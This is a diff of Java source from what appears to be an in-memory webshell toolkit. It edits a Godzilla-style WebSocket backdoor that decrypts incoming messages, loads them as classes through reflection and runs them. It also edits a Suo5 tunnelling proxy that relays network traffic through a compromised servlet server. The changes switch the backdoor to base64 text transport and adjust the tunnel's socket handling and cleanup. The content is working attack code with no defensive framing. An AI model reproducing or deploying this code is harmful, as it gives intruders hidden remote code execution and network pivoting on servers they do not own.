import javax.servlet.ServletRequestListener;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.command;
|
package com.reajason.javaweb.memshell.shelltool.command;
|
||||||
|
|
||||||
import javax.servlet.ServletException;
|
import javax.servlet.ServletException;
|
||||||
|
import javax.servlet.ServletOutputStream;
|
||||||
import javax.servlet.http.HttpServlet;
|
import javax.servlet.http.HttpServlet;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ import javax.websocket.Endpoint;
|
|||||||
import javax.websocket.EndpointConfig;
|
import javax.websocket.EndpointConfig;
|
||||||
import javax.websocket.MessageHandler;
|
import javax.websocket.MessageHandler;
|
||||||
import javax.websocket.Session;
|
import javax.websocket.Session;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
import java.util.Scanner;
|
import java.util.Scanner;
|
||||||
|
|
||||||
|
|||||||
@@ -16,6 +16,7 @@ import java.lang.reflect.Method;
|
|||||||
import java.net.URL;
|
import java.net.URL;
|
||||||
import java.net.URLClassLoader;
|
import java.net.URLClassLoader;
|
||||||
import java.nio.ByteBuffer;
|
import java.nio.ByteBuffer;
|
||||||
|
import java.nio.charset.Charset;
|
||||||
|
|
||||||
import static java.nio.charset.StandardCharsets.UTF_8;
|
import static java.nio.charset.StandardCharsets.UTF_8;
|
||||||
|
|
||||||
|
|||||||
@@ -12,22 +12,21 @@ import java.lang.reflect.Field;
|
|||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.net.URL;
|
import java.net.URL;
|
||||||
import java.net.URLClassLoader;
|
import java.net.URLClassLoader;
|
||||||
import java.nio.ByteBuffer;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/5/9
|
* @since 2025/5/9
|
||||||
*/
|
*/
|
||||||
public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<ByteBuffer> {
|
public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<String> {
|
||||||
public static String key;
|
public static String key;
|
||||||
private Session session;
|
private Session session;
|
||||||
private static Class<?> payload;
|
private static Class<?> payload;
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void onMessage(ByteBuffer byteBuffer) {
|
public void onMessage(String message) {
|
||||||
byte[] result = null;
|
byte[] result = null;
|
||||||
try {
|
try {
|
||||||
byte[] data = byteBuffer.array();
|
byte[] data = base64Decode(message);
|
||||||
data = x(data, false);
|
data = x(data, false);
|
||||||
if (payload == null || (data[0] == -54 && data[1] == -2)) {
|
if (payload == null || (data[0] == -54 && data[1] == -2)) {
|
||||||
payload = reflectionDefineClass(data);
|
payload = reflectionDefineClass(data);
|
||||||
@@ -45,7 +44,7 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
|
|||||||
result = getErrorMessage(e).getBytes();
|
result = getErrorMessage(e).getBytes();
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
session.getBasicRemote().sendBinary(ByteBuffer.wrap(x(result, true)));
|
session.getBasicRemote().sendText(base64Encode(x(result, true)));
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -84,6 +83,28 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
|
|||||||
session.addMessageHandler(this);
|
session.addMessageHandler(this);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static String base64Encode(byte[] bs) throws Exception {
|
||||||
|
try {
|
||||||
|
Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
|
||||||
|
return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
|
||||||
|
return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] base64Decode(String bs) throws Exception {
|
||||||
|
try {
|
||||||
|
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
public byte[] x(byte[] s, boolean m) throws Exception {
|
public byte[] x(byte[] s, boolean m) throws Exception {
|
||||||
Cipher c = Cipher.getInstance("AES");
|
Cipher c = Cipher.getInstance("AES");
|
||||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||||
|
|||||||
@@ -248,9 +248,8 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
baos.write(bodyContent);
|
baos.write(bodyContent);
|
||||||
byte[] newBody = baos.toByteArray();
|
byte[] newBody = baos.toByteArray();
|
||||||
conn = redirect(req, new String(redirectData), newBody);
|
conn = redirect(req, new String(redirectData), newBody);
|
||||||
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(conn.getResponseCode())});
|
|
||||||
OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||||
pipeStream(conn.getInputStream(), out, resp, false);
|
pipeStream(conn.getInputStream(), out, false);
|
||||||
} finally {
|
} finally {
|
||||||
if (conn != null) {
|
if (conn != null) {
|
||||||
conn.disconnect();
|
conn.disconnect();
|
||||||
@@ -347,10 +346,11 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
|
|
||||||
Thread t = null;
|
Thread t = null;
|
||||||
boolean sendClose = true;
|
boolean sendClose = true;
|
||||||
final OutputStream scOutStream = socket.getOutputStream();
|
|
||||||
final InputStream scInStream = socket.getInputStream();
|
|
||||||
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
|
||||||
try {
|
try {
|
||||||
|
final OutputStream scOutStream = socket.getOutputStream();
|
||||||
|
final InputStream scInStream = socket.getInputStream();
|
||||||
|
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||||
|
|
||||||
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
|
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
|
||||||
t = new Thread(p);
|
t = new Thread(p);
|
||||||
t.start();
|
t.start();
|
||||||
@@ -539,8 +539,8 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
throw new IOException("tunnel not found");
|
throw new IOException("tunnel not found");
|
||||||
}
|
}
|
||||||
SocketChannel sc = (SocketChannel) objs[0];
|
SocketChannel sc = (SocketChannel) objs[0];
|
||||||
if (!sc.isOpen()) {
|
if (!sc.isConnected()) {
|
||||||
return;
|
throw new IOException("socket not connected");
|
||||||
}
|
}
|
||||||
|
|
||||||
byte[] data = (byte[]) dataMap.get("dt");
|
byte[] data = (byte[]) dataMap.get("dt");
|
||||||
@@ -563,6 +563,9 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
throw new IOException("tunnel not found");
|
throw new IOException("tunnel not found");
|
||||||
}
|
}
|
||||||
SocketChannel sc = (SocketChannel) objs[0];
|
SocketChannel sc = (SocketChannel) objs[0];
|
||||||
|
if (!sc.isConnected()) {
|
||||||
|
throw new IOException("socket not connected");
|
||||||
|
}
|
||||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||||
BlockingQueue<byte[]> readQueue = (BlockingQueue<byte[]>) objs[1];
|
BlockingQueue<byte[]> readQueue = (BlockingQueue<byte[]>) objs[1];
|
||||||
int maxSize = 512 * 1024; // 1MB
|
int maxSize = 512 * 1024; // 1MB
|
||||||
@@ -579,10 +582,6 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
break; // no more data
|
break; // no more data
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (!sc.isOpen() && readQueue.isEmpty()) {
|
|
||||||
performDelete(tunId);
|
|
||||||
baos.write(marshalBase64(newDel(tunId)));
|
|
||||||
}
|
|
||||||
return baos.toByteArray();
|
return baos.toByteArray();
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -611,7 +610,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
return port;
|
return port;
|
||||||
}
|
}
|
||||||
|
|
||||||
private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal) throws Exception {
|
private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception {
|
||||||
try {
|
try {
|
||||||
byte[] readBuf = new byte[1024 * 8];
|
byte[] readBuf = new byte[1024 * 8];
|
||||||
while (true) {
|
while (true) {
|
||||||
@@ -625,9 +624,6 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
}
|
}
|
||||||
outputStream.write(dataTmp);
|
outputStream.write(dataTmp);
|
||||||
outputStream.flush();
|
outputStream.flush();
|
||||||
if (resp != null) {
|
|
||||||
resp.getClass().getMethod("flushBuffer").invoke(resp);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
} finally {
|
} finally {
|
||||||
// don't close outputStream
|
// don't close outputStream
|
||||||
@@ -1035,7 +1031,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
// full stream
|
// full stream
|
||||||
if (this.mode == 0) {
|
if (this.mode == 0) {
|
||||||
try {
|
try {
|
||||||
pipeStream(gInStream, gOutStream, null, true);
|
pipeStream(gInStream, gOutStream, true);
|
||||||
} catch (Exception ignore) {
|
} catch (Exception ignore) {
|
||||||
}
|
}
|
||||||
return;
|
return;
|
||||||
@@ -1069,17 +1065,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
// write thread
|
// write thread
|
||||||
while (true) {
|
while (true) {
|
||||||
byte[] data = writeQueue.poll(300, TimeUnit.SECONDS);
|
byte[] data = writeQueue.poll(300, TimeUnit.SECONDS);
|
||||||
if (data == null) {
|
if (data == null || data.length == 0) {
|
||||||
selfClean = true;
|
selfClean = true;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
if (data.length == 0) {
|
|
||||||
byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS);
|
|
||||||
if (signal == null) {
|
|
||||||
selfClean = true;
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
ByteBuffer buf = ByteBuffer.wrap(data);
|
ByteBuffer buf = ByteBuffer.wrap(data);
|
||||||
while (buf.hasRemaining()) {
|
while (buf.hasRemaining()) {
|
||||||
sc.write(buf);
|
sc.write(buf);
|
||||||
@@ -1091,8 +1080,8 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
if (selfClean) {
|
if (selfClean) {
|
||||||
|
|
||||||
removeKey(this.gtunId);
|
removeKey(this.gtunId);
|
||||||
readQueue.clear();
|
|
||||||
}
|
}
|
||||||
|
readQueue.clear();
|
||||||
writeQueue.clear();
|
writeQueue.clear();
|
||||||
try {
|
try {
|
||||||
writeQueue.put(new byte[0]);
|
writeQueue.put(new byte[0]);
|
||||||
|
|||||||